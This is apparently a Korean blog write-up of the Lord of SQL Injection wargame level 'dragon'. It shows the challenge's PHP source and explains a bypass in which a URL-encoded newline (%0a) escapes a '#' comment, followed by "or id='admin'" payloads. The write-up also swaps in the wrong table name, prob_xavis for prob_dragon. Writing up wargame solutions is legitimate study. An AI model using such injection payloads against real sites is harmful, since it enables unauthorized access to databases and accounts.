R136A1

[LOS] 20. dragon :: SI 본문

WEB SECURITY/SQL Injection

[LOS] 20. dragon :: SI

r136a1x27 2021. 9. 26. 08:31
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

제약사항

따로 없음

 

풀이조건

query의 결과 맨 위의 값의 id가 admin이어야 한다

 

쿼리

select id from prob_xavis where id='guest'# and pw='{$_GET[pw]}'

 

풀이

"개행문자" %0a가 포인트

mysql의 특징은 ;가 입력되기 전까지는 무조건 하나의 쿼리로 인식된다.

 

일반적인 상황에서 개행문자는 아무런 영향을 주지 못하지만

문제와 같이 한 줄에서 주석을 사용했을 때는 개행하고, 다음 줄에서 이어나가도 올바르게 인식한다.

ex)

select id from prob_xavis where id='guest'# and pw='%0a or id='admin'

따라서 위의 쿼리는

select id from prob_xavis where id='guest'# and pw='

%0a or id='admin'

과 일맥상통한다.

 

그런데, 이렇게 쿼리를 날리면 guest가 먼저 쿼리에 출력된다.

1) order로 정렬해주거나

select id from prob_xavis where id='guest'# and pw='%0a or id='admin' order by id %23'

 

2) and pw='아무말' 조건을 추가하여 앞의 id='guest' 조건에서 아무것도 조회되지 않도록 한다

select id from prob_xavis where id='guest'# and pw='%0a and pw='5' or id='admin'

 

Comments